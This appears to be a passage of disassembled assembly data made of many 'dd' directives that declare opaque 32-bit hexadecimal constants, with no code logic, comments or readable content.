dd 82FDD28h, 0AEC96AC1h, 17DF3E5Ch, 0E0879D7h, 42841CBFh
dd 780A69BBh, 0F01C3F87h, 190D79F2h, 0BD5176B5h, 20E5F4D6h
dd 71643976h, 8FFC2CEAh, 0C7832FA0h, 71D19AEBh, 0BF30B9F9h
dd 0B5408FFh, 6ED98025h, 9DADE34Eh, 8788208Dh, 0BF05DB35h
dd 0FD94A05Ch, 4C112646h, 2D0A16D1h, 8080130h, 0FC87BC77h
dd 0A39D59F8h, 0C90F6718h, 3FCB755h, 0C9B2768Fh, 2BF794BBh
dd 1FF498Ah, 65262001h, 0AFE64C7Ah, 8683ACD8h, 15C8FFC3h
dd 1CD8A02Fh, 8A07C66Ah, 0DDB8E2B7h, 0E6652D8Ch, 1F524999h
dd 4C73DFE3h, 2C96131Ah, 9402C454h, 0BB582524h, 4081CCCAh
dd 1D5DA6E9h, 4492F87Bh, 0C679A4ECh, 6B797BF0h, 6D4C17A1h
dd 4636B673h, 8EF2110Eh, 18E24EDAh, 67541678h, 899A9DD0h
dd 405944FBh, 0EBD8F5DDh, 94303751h, 76696538h, 0B9CB1E95h
dd 945C1589h, 4D54E2AFh, 0E77625ADh, 2417C4F9h, 58CF4527h
dd 0FF133489h, 0EC81D79Bh, 2814D30Dh, 7E56C207h, 7EF7A03h
dd 5062B00Bh, 0FACDD297h, 278A7455h, 0D67A9917h, 0C7A73200h
dd 73DFFB75h, 17F166A9h, 55E84129h, 5C866D3h, 0CB919AE2h
dd 0CE8EAE32h, 6B1A8CDBh, 0A261C3CFh, 116BBFB7h, 0A94B9737h
dd 894ACD1Eh, 0C344FC75h, 0CC6656CCh, 223B8A5Dh, 0BDB71054h
dd 0C7C52E9Fh, 0CFE448BCh, 0A7313C70h, 0FD9A32B9h, 0D8CA04D4h
dd 0CC81379Fh, 953604ADh, 0B46288B3h, 4784ECD7h, 3DB69EBBh
dd 0DD2D2CEDh, 3E505692h, 0B347D7D2h, 7E09B7E9h, 7C9ABA01h
dd 524F1E27h, 0AECCBCE7h, 220723F4h, 8EDFCA43h, 0F7047DF7h
dd 234A6662h, 631DA1A7h, 0C7603C90h, 0A9A1AE3Dh, 9E1B1006h
dd 818A821Ah, 18457B88h, 5BC81CD0h, 32BA04A8h, 0AD788182h
dd 85BEB81Ah, 1D0F4EB6h, 7933FE74h, 2B6BF0F2h, 577FA1B2h
dd 9AD86BB2h, 74C3D0A1h, 5DC34548h, 4D75695Eh, 9E17EF40h
dd 63567E49h, 3A4C955Dh, 0D1DF741Ah, 0C0E8841Fh, 2E8DBA99h
dd 1F79F585h, 72B24AB4h, 9CD71E79h, 0A8816DA3h, 66193187h
dd 0E8D6ABh, 1CF8F4D9h, 8831CC6Dh, 0B9402019h, 0DF4A7BC4h
dd 99A59B0h, 0E859B8C4h, 0CAE9F37Eh, 7C454DECh, 0E7B5EA62h
dd 4A4AC22Ah, 276AC378h, 0B57FA6A6h, 4E5BB0EDh, 2BA781EDh
dd 6339BDBh, 137EB3FCh, 98E8D9F6h, 74CD5A19h, 5B483DDDh
dd 4F415D58h, 0FC24AC83h, 545A8D9Ah, 37F138F2h, 42CA264Ah
dd 0AEA80120h, 727E4E85h, 0FB801FA3h, 1702FA12h, 84F3FAC3h
dd 0FE94CDFCh, 0A4827F82h, 0A58B29E8h, 166EAAE4h, 51B4538Bh
dd 67E27ACCh, 0A6D44442h, 3D847016h, 3165CD7h, 2FF3BDC7h
dd 0E3815400h, 3A031A79h, 0CB71E71Dh, 92E04E16h, 506206A0h
dd 0CDF3F262h, 8134C22Fh, 2E9E4435h, 16FD449Dh, 7CE2DF06h
dd 686D8F4Dh, 0B04A897Bh, 7EB2A2DEh, 0EB686C1Ah, 9CC687FCh
dd 7A9C1C14h, 0D0072E86h, 2A7A4370h, 1DE89647h, 198798D5h
dd 0BDA6E7BDh, 425D9FC1h, 0D822D2FCh, 211E86BBh, 0EEB1DF19h
dd 96696EBEh, 215B56E3h, 347D5664h, 0E8AD0AEBh, 408A329Bh
dd 0CBF38982h, 1ADFC487h, 9F7092C4h, 61A73793h, 860524D6h
dd 0F099D4Ch, 0CED0BFD6h, 185B59A7h, 0FDF52637h, 180B8BD6h
dd 3B0B23E7h, 0FFC9788Dh, 2AD86388h, 883238Eh, 23168BA6h
dd 501A4568h, 8F308259h, 2265E19Eh, 8AE2CE0Ah, 5CC41CE0h
dd 0C1DF691Bh, 65F9EC35h, 5CF0B5A8h, 890BD9F0h, 1DA6D8A6h
dd 0F102BCA6h, 4D06B07Dh, 5E9CBDD4h, 1EE4BDCDh, 0B0CC09A3h
dd 0FED6CDF6h, 0E1EA77F1h, 4F26DC3h, 5395E97Bh, 50FAA67Dh
dd 0A00F43DCh, 0C87DF552h, 12EFD0F0h, 794B45A4h, 31FD4418h
dd 9CF0D426h, 474E9DB6h, 0D477F7F8h, 0DE8E2939h, 62ACB6C0h
dd 58FBAB3Fh, 0B9717A44h, 9DB5DCAAh, 3EB91C15h, 0C13DE192h
dd 96189314h, 5AC3CB99h, 0F02A04CCh, 798C2091h, 0D7E06D84h
dd 639B93E3h, 404D0DF8h, 0DEF3CECh, 9343773h, 7C768A89h
dd 2954E767h, 6852AF0Eh, 0D8D3957Ch, 94F7DF19h, 3DC4CC98h
dd 7E3F3DDEh, 0E7B535CDh, 0FE12204h, 27D55791h, 0BBBF52DEh
dd 396A57E3h, 18FC6BDAh, 5BD00DEFh, 4C2B51CBh, 44BC7A7Fh
dd 0C86A6D24h, 62963A84h, 760B69D2h, 0A2E1065Dh, 2150054Dh
dd 1855F60Fh, 1AB1D581h, 3317F8BFh, 30E53453h, 0C2E27EB6h
dd 0B3EB3ECFh, 75719435h, 2B9702BBh, 6E602B03h, 18E36235h
dd 6849851h, 9BB4AE76h, 0A71A010Ah, 409B583Fh, 0F2C34D17h
dd 9FB6854Ch, 0C5FF782Bh, 245F4324h, 7F909BC0h, 9313842Eh
dd 0E1840C2Ah, 749DB448h, 0F624DA77h, 50D077B1h, 4357012Fh
dd 0FEE8B5CCh, 4FB2D190h, 242DB94Fh, 0C904B4B1h, 0B74D881h
dd 37EF04CDh, 0E3355A63h, 2B461124h, 0FFB9956Dh, 84D7B9E8h
dd 286D0798h, 6296A973h, 629DA067h, 7CEFF548h, 0EFFBF7B0h
dd 5CE1C087h, 677676EEh, 4F6C63CCh, 0B8E37326h, 0C9BB5E32h
dd 0FAAD6163h, 619DB1FAh, 59B4B07h, 12DAF7AAh, 0F244046Ch
dd 0C916834Bh, 1C68FD0Fh, 1C54A79Eh, 0B3FD165Eh, 2431D80Ah
dd 0C90169BDh, 0D6AB6519h, 42597380h, 5ABCE187h, 50128A94h
dd 5B38DFD4h, 61C1447h, 33E609ECh, 0F2638D05h, 9EAB1F0Eh
dd 89752501h, 2472A55Fh, 9C1B57ADh, 0E1682DACh, 687AC2B9h
dd 0EF7C457Eh, 707C8C97h, 0B30593A0h, 0AA122596h, 0BECA5DF8h
dd 8A4218EAh, 63203A16h, 5D5D4387h, 7BF65E56h, 0CA767410h
dd 55FE7EE7h, 517454CAh, 0F319748Eh, 3B249771h, 72875D56h
dd 58DA854h, 4EB98BC3h, 231A6C7Ah, 14585808h, 0D2763F83h
dd 40926667h, 9ECDC4h, 0AB298276h, 0E5F63A59h, 0A1C72BAFh
dd 0CE098CB1h, 5CEEDDB0h, 0D1A1C2C5h, 0EFFCB28Dh, 0C70DD8D7h
dd 0A911EBC0h, 52E34110h
dd 7EB04402h, 33662C99h, 8F65D82Dh, 3D7007CAh, 0A33132FBh
dd 1631C77Fh, 4B20601Ch, 2DAB179Eh, 0CE507150h, 5DA566Ah
dd 646D924Bh, 0A3CD90B4h, 7A4CB46Ch, 0AD94750Bh, 34724AA7h
dd 5C8BDC6Dh, 0F57A0CCDh, 1F596DBDh, 0BAB010B4h, 0D6DCAAD9h
dd 0BF8B3E8Eh, 7073056Eh, 0D61A5972h, 5833EC1Ch, 0AF1B0FB9h
dd 0D41F514Dh, 54ADF38Dh, 0D15DC1D4h, 753BBEBh, 6AFC0330h
dd 0C2F7FFE1h, 4FBC04D3h, 0AB578451h, 0A7D8B09Ch, 0D6677156h
dd 609C479Dh, 4E99EEC5h, 0D7D0622Bh, 364D7560h, 62CFC727h
dd 4B96D21Bh, 94267CD0h, 7C870659h, 3B036D2Ah, 0BE44D13Bh
dd 6AC7FE4Ch, 0E27E93C6h, 0FBF80C3h, 0D772082Bh, 0B73A334Ch
dd 0AC19E78Bh, 5C0D3583h, 25A606C1h, 34FB5CE4h, 217400D4h
dd 3AE228DDh, 0C4CA281Bh, 9E59D868h, 3EB6B7B6h, 9180E05Ch
dd 9BA4B255h, 1C9E4EC9h, 2DC291F6h, 0F57CF33Dh, 0A63070BBh
dd 59AD0A18h, 9A9EF7h, 8D480772h, 586EA95Ch, 63F4D1D0h
dd 9042C53Bh, 0ECB31CC3h, 0D312434Fh, 0FE6426CEh, 3A6EF909h
dd 88CB71Eh, 2135F061h, 1D27AC14h, 3FCA94E3h, 8F008D75h
dd 9F4515D0h, 8D9E291Ch, 5375CCABh, 0CCA065D7h, 0CC1DE28Eh
dd 9BCE591Dh, 0B4D8A17Eh, 6B207F5Dh, 1E2FC19h, 9265818Fh
dd 0D2CB83B1h, 5F97F986h, 0DBB496ACh, 7619E001h, 1D876CAFh
dd 246652ACh, 83BBD5F9h, 7A32AF85h, 12873669h, 79D1E3E3h
dd 1EB410ECh, 16F2077Eh, 0E49371EFh, 4529E2BCh, 4A78A8CBh
dd 38DEB9BEh, 56285E82h, 748D9F7h, 0D5B9FB79h, 166B054Dh
dd 33AEC944h, 12A0DF3Eh, 0D930C403h, 6F01E6BCh, 5D41634Ch
dd 0B90E07FDh, 0B7A3EDBFh, 3AA933C6h, 0EB680948h, 96238E87h
dd 7A189203h, 0F2E79E26h, 364736D3h, 6BA7C10Ah, 89C3968Ch
dd 0B2BB8131h, 1A043892h, 981E74C7h, 0B56A41C2h, 340E9CD8h
dd 0A371D24Fh, 21CBBE7Ch, 0DD992EC0h, 0C75A8C1Ah, 8351ABEh
dd 51A09067h, 0EF33478Eh, 0E160BE5h, 673C9135h, 8A4FDDD1h
dd 0C6F3F5Eh, 0B0B95AC6h, 0D9BE05B3h, 0ACDCE373h, 8AFE1A99h
dd 7102B42Ch, 351D964h, 0E940F8A8h, 386BF2EBh, 293FA74Bh
dd 0E64D9830h, 3C628717h, 1BE05407h, 9BAF809Dh, 0B3BA6EB6h
dd 0CC0EDEC9h, 0AA1E0DECh, 0A8F33F2h, 2555B08Eh, 0C5AC0168h
dd 0CBFA8913h, 4BB52F4Ah, 9087B6D8h, 92E5F4CCh, 1627D20Fh
dd 0F71FD7Bh, 3194E61h, 0F0A76FBCh, 0C88F8401h, 81EE3B39h
dd 0C21DEA63h, 18549F23h, 3E9321F0h, 7C725B3Bh, 0C56031E2h
dd 0E96202F6h, 7FEF15F7h, 23C705Dh, 0D6BD5530h, 4F02016h
dd 0DAB8CB75h, 51E2AC82h, 0C6D9E719h, 42D4B5BAh, 0B536C7E9h
dd 7F1A2BF6h, 8C54392Dh, 8FDCA7E5h, 6E3E3846h, 0AFFC9285h
dd 36C0196Fh, 5FEE5CBDh, 63806D79h, 0A22C866Ah, 434C6354h
dd 3A3916D2h, 0FEC220B6h, 8D125Ah, 75FDC6D8h, 0EA1B57D9h
dd 0DB3B27A5h, 0BE9E0ACBh, 27ABC4BFh, 59C32CD4h, 0D87D1325h
dd 0B28C076Bh, 0C0F18059h, 5A8B3B91h, 0A9774F52h, 12B27CC1h
dd 0CAAAB14Ah, 0C8FB0951h, 1ABF47E9h, 0B21C88BCh, 0B9AFE0CAh
dd 5DC79DAFh, 840695E5h, 43CD1CD1h, 0F568E1C7h, 0E2B39CB0h
dd 8DEDDBCAh, 6060AB86h, 6468CFF5h, 42988D16h, 0CAA74E28h
dd 4889A5F9h, 0A15D6678h, 0EC10B016h, 0AD453242h, 0C5130123h
dd 0CA18EB6Eh, 604DD934h, 0F1006832h, 0EC14B5CEh, 1379BE52h
dd 49D8A484h, 0ADEC365h, 30DEFF92h, 1E19AC88h, 0F6817713h
dd 0DF0185A4h, 0D2F5F3C5h, 3FD98856h, 2D0508CFh, 0B86D7F0Fh
dd 95501D98h, 31D6D35Eh, 706BBAA5h, 97C85BBEh, 0FF0E445Eh
dd 0FEC29D43h, 0F61224AEh, 0EFA7C7DDh, 0FAE8B93Ah, 0D251ED34h
dd 5203D47Bh, 0BE290D8Eh, 0BA2AFD8Ah, 2FC340C8h, 0F2CC920Bh
dd 4F5DD5A9h, 0A8ABF15Ah, 7AC82237h, 94A10309h, 38DF3E44h
dd 42AC1FD5h, 237637F8h, 1E51C7DEh, 4F89AD4h, 65C192F6h
dd 22460D06h, 0B840B366h, 58CB6B66h, 8ABCF8A0h, 7664E21Ah
dd 0B6AE1D98h, 2761A9F3h, 0F6468BC6h, 25A44FE4h, 8714F10Fh
dd 0E1CC4E06h, 3DDA3AB9h, 9AF97543h, 0E85E92B0h, 4F4F46B6h
dd 0FB15B2E9h, 19685183h, 11C71E00h, 0E0DC4033h, 0A4910B97h
dd 44A7C97Eh, 76A49B4Eh, 0CBADE2FAh, 4A159BEFh, 0B7C9ED19h
dd 34EF2495h, 4176223Eh, 1F692E96h, 8DA6DAEBh, 21665612h
dd 3DCB149h, 0D6D58BD0h, 0EA0B15E2h, 298BA33Ah, 0FECAC813h
dd 4CA65E4h, 0F9A7D308h, 0F146671Ch, 0DC2FC449h, 83E97F43h
dd 8FBF6A8Bh, 0BAA59989h, 712EC0A4h, 0E40602EBh, 0F1B8647h
dd 0A4775B2h, 0CEE97527h, 6C390B35h, 544CB428h, 0DE610DC3h
dd 61515886h, 0CEBEDC83h, 26F024CBh, 0E7F2FE23h, 4085B90Eh
dd 0DA5B9722h, 1DD11D2Fh, 697879A5h, 6D55FE32h, 9183A738h
dd 548D1A19h, 0BF9D1D13h, 4CAD0D5Eh, 0CB8D411Dh, 93305239h
dd 0B9E928B0h, 6EE0F4B8h, 17D88B81h, 839900F3h, 0F6EB7452h
dd 0D7A6AA4Fh, 0DE5BCC96h, 0AB6209D8h, 12929832h, 0BF2D1CC7h
dd 8A10490Fh, 3D0B48BAh, 31B49054h, 0ED0207BBh, 54557656h
dd 53C7EBD0h, 0AE1C260h, 9DE59FFCh, 0FF6EF09Fh, 6C428D7Fh
dd 2329430Eh, 9A9B37AAh, 0C742A40h, 0DB24A6B4h, 889AC5D6h
dd 0F6F5C55Dh, 461CF9A5h, 552DE569h, 0A61CD9F9h, 0C6582C67h
dd 0D747B756h, 4F6C85E4h, 1FFF31B0h, 9807311Dh, 9E6AF0A0h
dd 7260000h, 347878FBh, 3772B643h, 4EB492C2h, 0F621CDAh
dd 7A57922h, 838F5CB3h, 8908AE0h, 82A3F5CDh, 0D7AA88EFh
dd 0B4093732h, 0AD392870h, 1781642h, 7E668164h, 0FABBD5EBh
dd 464B4859h, 0F62BA772h, 8B9E72E1h, 393913D3h, 9F48F57Eh
dd 11A3FADFh, 814F9E69h, 0DDD7C6A7h, 305F220h, 0B2506B3Ah
dd 3DCC2D3Fh, 678BEDA8h, 443B15FAh, 8F6710A2h, 0C0080828h
dd 52670B71h, 973777AEh, 0D9F24A11h, 56F03D6Fh, 0CA98A9AEh
dd 0DB67D4FFh, 55D69ECCh, 10D85483h, 0D3A9E92Eh, 7F150484h
dd 570E51Dh, 1CE2DF33h, 2A8B86FEh, 0B3A2FE12h, 0E32EC932h
dd 3FA37804h, 0A7D3A79h, 32E04C80h, 4ED1C591h, 0B0B56CFFh
dd 0AAE2E250h, 0BB84537Ch, 41185EB5h, 2309260Ah, 0AA67E583h
dd 0BFB17EEAh, 918A15ECh, 4317A35Fh, 6971D674h, 769881D7h
dd 107CA800h, 73CB9874h, 24E0C332h, 0EBBFE86Ch, 53A3C5ACh
dd 0AD76133Bh, 0D2763A2Fh, 8EBAD5E1h, 0DA51CCD0h, 165CA6FDh
dd 0FE8847E8h, 0CB72F9E7h, 0E9667055h, 46C18C8Ch, 0FDF64B95h
dd 99E9BAE6h, 0D0279F35h, 25A29CEh, 3EAEB81Ah, 0DB773D16h
dd 28CCC7ABh, 0F173EF5Eh, 553F642Ah, 0EA040F30h, 64197375h
dd 3CF109C8h, 25E3B0C7h, 7BF8B8B9h, 0A120DA3Dh, 0EFE90F9Bh
dd 75B1BEBDh, 9845F145h, 5069B352h, 0E31E06A5h, 6D999629h
dd 3887AA09h, 5A8D2EA9h, 781179AEh, 317771E9h, 4E4650EFh
dd 0CB43CFEDh, 40F26E34h, 0AE0E4915h, 0A4CA1DBBh, 7C6C327Ah
dd 7A164200h, 0AB4C9EA2h, 5CA3D200h, 89A8C9BBh, 84EA70D6h
dd 3CE63DE0h, 777CCD64h, 0D20B9E59h, 0A076CAB1h, 8DD62610h
dd 6561A759h, 52A21726h, 17D8C0DAh, 34C435F2h, 58FE1FC7h
dd 1C78C06Ah, 58B29864h, 1ED46CEDh, 70C0A37Bh, 9FAD8837h
dd 0CA998AECh, 9EF74BCFh, 20D1C2DAh, 5FEB54E0h, 35693ED7h
dd 9393E487h, 0E6E5AFCCh, 8F38187Ah, 0DDB4B51Ah, 4BCF31Ah
dd 7C29D2B4h, 0FD5401F3h, 0AF192CB1h, 11D99DF2h, 74230E7Ah
dd 527B42D3h, 0CBDDB64h
dd 86CFF1CEh, 0B6D968Ch, 41D5DF7h, 30ADC309h, 8D91BD1Ah
dd 0D2D7C075h, 9440E38Ch, 71E7E32Ch, 95F8AF58h, 5493DFFDh
dd 0DE261069h, 2808F288h, 0F70443DBh, 416BE0CDh, 5E8D1FE5h
dd 0B3CBA320h, 83B87181h, 80957265h, 806DC7ABh, 0AAF7E1F3h
dd 0A8E7ECFCh, 0EAE4C34Eh, 4ED354A2h, 8E3D7C2Dh, 0FA5E95A4h
dd 37E50D73h, 6B2EA595h, 6928499h, 0C0070218h, 0C1ECE458h
dd 0A96B854Eh, 0F4905F00h, 0C69C8A3Dh, 22CFE0A3h, 775BDDF1h
dd 0FA5F17E2h, 311C89F9h, 0F1307ECFh, 8878C97Bh, 0F9EA69BAh
dd 0F67D34A0h, 0B3BD5A7h, 888D7EFEh, 0E40E3B1h, 69FC1869h
dd 0EEAF8F5Dh, 0CE1CA099h, 4448B5C5h, 9D019BC7h, 3DD5A6Dh
dd 9DD36758h, 6DFCA083h, 4E14E3Ah, 95751005h, 0D307B2AAh
dd 91ECA8E6h, 6BB0D84Ch, 0AB9A2139h, 34345EFEh, 990A8BF9h
dd 0A532FE3Eh, 6651B2C6h, 45DC8FC8h, 5EE11F4Ch, 1C68BBF9h
dd 0EF669B9Dh, 0D6548E3Ah, 8AA5DF7h, 0EFF443CFh, 0A98344FEh
dd 0BA0EFAE9h, 0C81305DBh, 9FA0ADC0h, 0DF0C60CAh, 0D2474E0Bh
dd 0B8791F54h, 19B0DCA4h, 22B910F5h, 73892605h, 0BF30657Bh
dd 0CA618B8Fh, 4D58F7Fh, 0DFDA0635h, 39EF1447h, 0F38506AFh
dd 0E5747849h, 50735B96h, 633ADB4h, 313CC5DBh, 4DD61573h
dd 0B095DBE4h, 5B1A1D53h, 0F0CCB11Fh, 90A61C73h, 0A375CAD3h
dd 0C7931A20h, 1C5A8F30h, 868AEBFAh, 4DB2A305h, 29F51B39h
dd 17C7014Fh, 7E1FD9B0h, 20A3AE0Eh, 32B6C00Ch, 0A1DD0F88h
dd 0E0C07A2Bh, 0E0780C7Bh, 8E541AA7h, 4ED2F53Dh, 228CDAA4h
dd 38415996h, 0A3A0D951h, 2E468477h, 75F893F0h, 0F6298E88h
dd 0C3E4BD11h, 3B24BB3Fh, 75AE789h, 0A916942Ch, 50017CA2h
dd 0E41626h, 0E1C59AB9h, 953B49E8h, 0C3E68FF6h, 1354D885h
dd 4F4D6012h, 8AA6593Dh, 0C9D73BADh, 922ACFBCh, 806312A5h
dd 95D63D6Ch, 0B2FD193Ah, 0C52FEC15h, 74C70381h, 683C0131h
dd 8B88E5F1h, 3174AA76h, 48E7015h, 556DE061h, 86EDCD39h
dd 0DDADCC53h, 0BFA0EE3Fh, 0AFB15209h, 2858650Bh, 0EA364B1Bh
dd 4D03FD56h, 0CDA4A45Bh, 41E7EED1h, 8B21FA09h, 0F626C282h
dd 2D081575h, 0BD86B240h, 9551F6BDh, 0D2A4F268h, 0C8384BB4h
dd 0EF344BFDh, 0DB0A5099h, 77C5E92Dh, 0F2E5FD19h, 0CFB66AE3h
dd 0DC9A4B29h, 0AE16C558h, 7DCB3C38h, 0DCF4A0F6h, 145A6358h
dd 1AC17379h, 0F1A4E0A1h, 0E55FEF20h, 0DB73D1Bh, 0D5A8274Bh
dd 8EBE4F37h, 0E4E5E45Ah, 0EEEA841Eh, 0E72D74A2h, 0F8170ACCh
dd 4F325636h, 263E1E5Bh, 0D44A4C79h, 9F8336ADh, 0F8D03E42h
dd 790AA681h, 0A3702B09h, 0F68C9187h, 7322DC78h, 139D1725h
dd 30799EB6h, 8FFC1ACDh, 173DDFB9h, 5D91A723h, 4820C5B1h
dd 523EF070h, 82E30B8Bh, 5FD54DBDh, 280EFF1Fh, 30D47B92h
dd 900B1192h, 0D635D9D7h, 62CD2FDDh, 0E7826FE5h, 0D0606E5Eh
dd 1DC1A7A8h, 0B8DE855Ah, 0B4258B02h, 0B973B5A5h, 8EA23F25h
dd 5A9FC27Fh, 88B5C9AEh, 6E2FA95Fh, 459F0E42h, 0E2A06024h
dd 0AED32B6Ah, 116DB52Bh, 9B947496h, 32049BCh, 7A139146h
dd 469C04ABh, 0E00A370Fh, 12010B6h, 56D13854h, 0E812AD9h
dd 8FFD6108h, 0AF977B5h, 7D318A56h, 0AEA3942Ah, 1B957E69h
dd 9150AA43h, 0F4FC284Dh, 6FAC22ADh, 9825AEFDh, 0A44B0AADh
dd 0D8569242h, 66F60A9Dh, 4E88B8B5h, 78A3F667h, 5D7C7195h
dd 1625DC77h, 0F020DC24h, 6FCBF08Bh, 18AA0173h, 0A3C6B4EBh
dd 237C56C9h, 0C85F8623h, 26A6138Bh, 9606AE93h, 0CAB2E238h
dd 970B8129h, 57D0DC8h, 7FA121CBh, 192A1EE6h, 0CFF8CE12h
dd 71700354h, 0A48E487Bh, 0F36E4E6Dh, 90252119h, 37ACE784h
dd 6B264986h, 5CBB3BB9h, 9BE6EBB8h, 34ABEA0Bh, 0AB841CEBh
dd 25BEFEFDh, 8EE2E5B5h, 7F199E91h, 0DC0B858Bh, 75604091h
dd 4F04B2B1h, 0B8BEC43Bh, 92352FF3h, 4ECD2467h, 0E52EB38Ah
dd 31D8CF57h, 0C4E5247Eh, 0A74EA6B2h, 0D0953193h, 0C4707E6Ch
dd 5994518Eh, 0D28E2537h, 0E5A105E5h, 0D8492FCh, 1F1EE288h
dd 0C10BFE63h, 60F202F7h, 0B0B654E9h, 0AAF48DADh, 0A3CF35D3h
dd 0FC40BAB7h, 2CE949CDh, 0DAA74AECh, 0A5D0FD60h, 0EC293C1Ah
dd 4048F7BCh, 9C98FF96h, 82779E2Dh, 8E38FA12h, 246EE99h
dd 27E46FBCh, 0D8DA9023h, 4933B56Ah, 0EF47A170h, 0F0A439D6h
dd 0D17C88CCh, 7F19052Fh, 33CF833Bh, 43592C40h, 0C10BEFB9h
dd 0A5E321C9h, 0A0AEC115h, 3D5C3C35h, 12146154h, 9F72D1DBh
dd 7FE6F760h, 0E96B83Eh, 51772A82h, 3F46936Bh, 0DA6AC37Ah
dd 6B24ADC7h, 0F66FAB3Bh, 0EAEC313h, 0E7FD0EF4h, 4A666A38h
dd 50842592h, 0F2A246FCh, 7C97D95Eh, 4C7EE308h, 86FA7294h
dd 5AE83DD9h, 0B8DF9925h, 67F3E2A6h, 0EEA903D6h, 83D90E18h
dd 0EEFCD109h, 3C18319Fh, 0B87E74FDh, 0A9592CCAh, 0EA7BD1F6h
dd 0AC5D9A95h, 0F40516DEh, 5E37B0E4h, 0E347B0B9h, 992F6A5Bh
dd 2A1A3F91h, 0FA1BB0BBh, 0EEFDD42Eh, 0FBD67252h, 28E3F7C3h
dd 428FFC86h, 50402C1Dh, 0E7226693h, 5FFAD640h, 58A5A89h
dd 0CC326E8Ch, 0DEC9D9CFh, 6C6B60AEh, 0AD0B368Bh, 83BC2C73h
dd 0EA9403AEh, 0C71D1EF7h, 94188C0Ch, 6947CA9Eh, 0F0E56219h
dd 0CADC8B9Dh, 0C2816BF6h, 7336CD59h, 0D5805E1h, 0C60702C9h
dd 9886669Eh, 0B7452E51h, 84B69874h, 0EDE26801h, 4C2FBC91h
dd 559E6821h, 0ACDC316Fh, 98BA313Ah, 88B7FBD5h, 0AA2C19C7h
dd 23779D87h, 24C5ED33h, 5C3B9CDAh, 0FFD58849h, 57982859h
dd 93D5348Bh, 0CF79BFD4h, 5DB6C7C1h, 221280EDh, 0EC5EFDA8h
dd 0B46296D8h, 4D2F9CFFh, 0D495CACBh, 0E8438BDFh, 358DE5BEh
dd 4DA0DCDAh, 0C582138Eh, 81CEB8Ch, 4F126349h, 71D29D92h
dd 0FF3E34C2h, 6135D217h, 0B246E930h, 32E96E12h, 9765C1BFh
dd 595B3FA9h, 152FB23Ch, 640EA129h, 408A8E34h, 827ACDE7h
dd 0C0F05061h, 741EBBC6h, 0AEA24C1Ah, 0A78E9E44h, 9C28917h
dd 2A194029h, 0EB3EE614h, 0F50596D4h, 80FB7FD1h, 41847DE3h
dd 25EFF606h, 0CD2BAF5Eh, 8632B346h, 5D10EBD3h, 468F0121h
dd 2577F3ACh, 40CA2716h, 2AD235BBh, 0FA87BBC7h, 62E3F6FBh
dd 0D7EAF2BFh, 91F05114h, 28C56593h, 19E659B6h, 9669F243h
dd 9C7576B4h, 0D85DA7B8h, 504369D9h, 0C9FA0313h, 0F0B29199h
dd 998CBC69h, 2CA883B2h, 575089B9h, 0EB983278h, 0B74E4FDDh
dd 0DA189AE1h, 0B9B74699h, 606C2DF3h, 6F4E74D0h, 9495CACBh
dd 0F47FA11Bh, 0A4ADA188h, 0E733EB4Fh, 6A438DD9h, 0AB471A79h
dd 0DCF4F0F8h, 6C940E4Bh, 84ED611Bh, 93333EA6h, 3792370Bh
dd 82B5E879h, 0B73638FBh, 0BA1676D9h, 9233EDD5h, 107BBA03h
dd 70F11FCCh, 74DCF5A8h, 0D119056Dh, 24493EA4h, 2AD98DFCh
dd 124810CDh, 0BFBDA81Eh, 0B5ABA556h, 499D87B6h, 3A3362EFh
dd 30A81184h, 0E7197410h, 0B002BB95h, 5B867EBEh, 521DF969h
dd 0D61A7F34h, 623F20F6h, 0B3B82513h, 0E38866DBh, 694B8048h
dd 21D3EC9Bh, 2CF75D88h, 3C5BC0FBh, 16B6757Ch, 7DB52C0Ch
dd 3D6F95FDh, 45476537h, 0FEF83FA4h, 0F610874h, 0FC741268h
dd 0B365CDC7h, 0D2171434h, 0A41705D4h, 3477EC7Dh, 12F90295h
dd 0E7FDE6DDh, 0A285512h, 0D0F6EAC3h, 0E1FAE3A4h, 44009A8Bh
dd 0B4C49F4h, 0C45C98C4h, 293D8604h, 49E923B3h, 1A539F4Bh
dd 60D48E94h, 0A069997Bh, 67669D0Ah, 23A761B6h, 5026A326h
dd 0ED936AB2h, 508D405Ah
dd 2324AF9h, 25535534h, 0E64169B5h, 4E3BAC6Eh, 0AD472557h
dd 0EDA74E8h, 0EE0718DCh, 3F2E31AAh, 9BA04882h, 0AB915DDEh
dd 282A90F5h, 0B988C655h, 7C7BF269h, 0C7D743E8h, 0EA53B0F4h
dd 5F27ED72h, 5AE82554h, 978F1F3Ch, 7519D1AFh, 766030D8h
dd 0B36B181Eh, 430DB48Ch, 0C499EB7Ch, 1953E931h, 7E8000FEh
dd 144C6CDh, 0DA02084Ah, 0FBCA0F7Eh, 4015D81Eh, 0D672C504h
dd 0BEABA481h, 7D3E7EEAh, 0DBBA0A85h, 0B14F4515h, 1FFB6A80h
dd 4514C77Fh, 0E86CB84Dh, 0E91D5BFBh, 0F678A80Ch, 998A429Ch
dd 433BA97Eh, 81DB752Fh, 17437A82h, 2DE587D6h, 8B2BB3E8h
dd 82F000BDh, 81975C7h, 1794E9ADh, 3B538F9Bh, 4DB4851Bh
dd 0C427AA15h, 0EABEBB21h, 0E8ED363Ch, 3017A1F1h, 0CAE0FEEBh
dd 0B24C9F11h, 2EEE7DECh, 55119D34h, 0C673684h, 0A5D881F3h
dd 7A703096h, 0F658F761h, 0C6FF3B3h, 0B4208FEEh, 0B5629695h
dd 3803CEC2h, 5FEA2E2Eh, 0C2BDB71Dh, 695701E3h, 556EE8D3h
dd 92806054h, 0F3FEA853h, 0B80C689h, 792A0350h, 0E2058DFBh
dd 2437AACEh, 4D34E2DCh, 55847987h, 4155681Fh, 6321A3C1h
dd 3A4711DFh, 0C00E9A3Ch, 20DEA3Dh, 0F341FD29h, 6DCA4B9Dh
dd 0A9ED79D1h, 1CFA5C11h, 9F15A296h, 241CF8CBh, 0DD8EB402h
dd 9E59F471h, 7CF332FAh, 0A62FC2C2h, 4DBB6B2Ch, 0C753656Dh
dd 0B970E7E7h, 33C8B8B4h, 0F0914F83h, 0E4DC25ACh, 0FC5B5E88h
dd 0DD440984h, 0A2481435h, 74F8D17Bh, 1900DA89h, 0CC95AF69h
dd 0D8FF1621h, 35349BAEh, 8461A539h, 0FF93A78Eh, 3195199Fh
dd 18BDFB1Fh, 89ED817Ch, 4CA35F84h, 1EAD4473h, 0F5D5369Ch
dd 73D7BFh, 0E4480B66h, 0BCADB78Ah, 3B62FF9Bh, 0DD8487B6h
dd 21CC33BFh, 0C030A2C8h, 0A3A63F15h, 34894654h, 0E75D10E1h
dd 8BE4ECCEh, 13031DB5h, 6781DF35h, 78F0D955h, 593A3CE6h
